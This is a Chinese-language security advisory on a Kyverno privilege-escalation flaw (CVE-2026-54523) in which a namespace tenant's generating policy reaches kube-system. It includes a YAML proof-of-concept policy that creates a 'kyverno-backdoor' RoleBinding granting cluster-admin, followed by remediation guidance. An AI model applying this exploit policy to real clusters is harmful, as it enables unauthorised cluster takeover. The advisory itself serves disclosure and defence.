2026年7月17日,Kubernetes生态广泛使用的原生策略引擎Kyverno被披露存在严重权限提升漏洞,编号CVE-2026-54523,CVSS评分高达9.6。该漏洞允许命名空间租户将自身权限提升至任意命名空间的管理员级别,包括关键的kube-system系统命名空间。
事件概述
Kyverno是Kubernetes生态中最主流的策略引擎之一,被金融、云服务商和大型企业广泛部署于生产集群,用于安全治理、资源合规检查和准入控制。此次漏洞暴露了策略引擎自身的安全缺陷——你安装来管理安全的工具,反而成了最危险的攻击向量。
漏洞的技术细节和完整概念验证(PoC)利用代码已公开,攻击门槛极低。安全研究人员警告,该漏洞被勒索软件组织武器化只是时间问题。
技术细节
漏洞根因
问题出在Kyverno的NamespacedGeneratingPolicy功能。该功能的CEL生成器中,apply()函数接受一个目标命名空间参数,但Kyverno从未验证该参数是否与策略自身的命名空间匹配。
这意味着恶意租户可以构造一个策略,将生成器指向任意命名空间——包括kube-system。Kyverno的后台控制器默认拥有集群级权限,可创建RoleBinding、Role、ConfigMap和NetworkPolicy等资源。
攻击链
- 攻击者在拥有创建NamespacedGeneratingPolicy权限的命名空间中发布恶意策略
- 策略中的生成器指向目标命名空间(如
kube-system) - Kyverno控制器以集群级权限在目标命名空间创建RoleBinding
- 攻击者获得目标命名空间的管理员权限
PoC核心逻辑
apiVersion: kyverno.io/v1alpha2
kind: NamespacedGeneratingPolicy
metadata:
name: cve-2026-54523-exploit
namespace: test-ns # 攻击者控制的命名空间
spec:
rules:
- name: cross-ns-escalate
match:
resources:
kinds: ["ConfigMap"]
generate:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
namespace: kube-system # 跨命名空间指向系统命名空间
name: kyverno-backdoor
subject:
- kind: ServiceAccount
name: default
namespace: test-ns
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
影响评估
| 属性 | 详情 |
|---|---|
| 影响版本 | Kyverno 1.18.1及更早版本 |
| 修复版本 | Kyverno 1.18.2 |
| 利用条件 | 需拥有NamespacedGeneratingPolicy创建权限 |
| 野外利用 | 目前尚未确认,但PoC已公开 |
| 受影响平台 | OpenShift、Rancher、EKS、AKS、GKE等使用Kyverno的发行版 |
修复建议
紧急行动
- 立即升级:将Kyverno升级至1.18.2或更高版本
- 权限审查:审查所有拥有NamespacedGeneratingPolicy创建权限的用户和服务账户,撤销不必要的访问权限
- 审计日志:检查Kyverno控制器日志,寻找跨命名空间资源生成的异常行为
长期加固
- 对策略引擎实施最小权限原则,避免控制器拥有不必要的集群级权限
- 在多租户环境中使用独立的策略实例或严格的命名空间隔离
- 部署准入控制Webhook对NamespacedGeneratingPolicy进行额外校验
- 将Kyverno控制器运行在无特权的ServiceAccount下